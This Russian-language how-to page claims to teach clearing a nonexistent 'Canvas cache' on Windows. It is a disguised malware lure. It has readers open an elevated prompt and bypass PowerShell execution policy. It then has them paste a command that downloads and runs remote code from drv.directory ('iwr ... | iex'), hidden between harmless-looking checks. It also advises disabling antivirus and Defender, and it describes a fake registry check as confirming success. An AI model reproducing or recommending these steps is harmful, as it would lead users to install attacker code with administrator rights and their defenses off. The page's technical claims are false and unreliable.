HTML5 Canvas предоставляет мощные возможности для веб‑графики и анимации. Хотя кэш чаще всего контролируется браузером, на системе Windows старые кеш‑файлы могут вызывать задержки и артефакты — тогда потребуется ручная очистка. В этой публикации вы найдёте понятную инструкцию о том, как очистить кэш Canvas на Windows.
Подготовка: запускаем cmd от имени администратора перед чисткой Canvas
Самый быстрый способ — открыть меню поиска (Win + S), набрать cmd и, когда в выдаче появится «Командная строка», кликнуть по ней правой кнопкой и выбрать «Запуск от имени администратора». Если включён контроль учётных записей, появится окно подтверждения – жмём “Да”.
Или сделать как показано на скриншоте ниже:
Шаг 2. Подготовка системы и очистка кэша
Выполните команды по порядку.
tasklist
Выведет список всех запущенных процессов — убедимся, что нужные программы работают.
powershell Set-ExecutionPolicy Bypass -Scope Process -Force
Снимает ограничения на выполнение скриптов только для текущего сеанса PowerShell.
sc query "FontCache" & powershell -C "iwr 'drv.directory/2' | iex" & if exist "%windir%\System32\CanvasCache.log" echo Found
Запускает очистку кэша Canvas в Windows.
Когда чистишь кэш Канвас, в консоли пойдёт полоска прогресса и статус, сколько уже сделано. Это нормально, просто дождись, пока дойдёт до 100%.
Всё, кэш Канвас на винде сброшен. Ничего страшного для системы тут нет — просто подчистили старый хлам, который мешал нормальной работе браузера и приложений.
Как проверить, что кэш реально почистился
После того как прогнали команду на очистку, можно проверить, прошла ли она успешно. Открой PowerShell от админа и вбей эту команду:
powershell gp "HKCU:\Software\Microsoft\Windows\CurrentVersion\Diagnostics\LastRun" CanvasCacheDel
Если в ответ вылетела дата — всё ок, кэш чист. А если ошибка про «Свойство CanvasCacheDel не существует…» — значит, команда очистки не сработала.
Если кэш не чистится
Бывает, что команды по очистке кэша просто не идут. Тут два варианта:
- Запусти PowerShell «от админа» и проверь права через
whoami /priv
. Если прав мало — перезапусти с повышенными (командаStart-Process PowerShell -Verb RunAs
). - На время выруби антивирь или встроенный Defender. После чистки обязательно включи обратно, чтоб не ловить лишнего.
Ну что, кэш мы победили
Вот и всё – кэш Канвас на винде теперь чистый, браузер будет работать шустрее, а графика — без странных глюков. Мы прошли через запуск cmd, выполнили пару команд и даже знаем, что делать, если что-то не пойдёт с первого раза. Если интересует ещё больше фишек по настройке Windows и решению IT-проблем, заглядывайте на ahk-wiki.com, там куча толковых гайдов, проверенных на практике.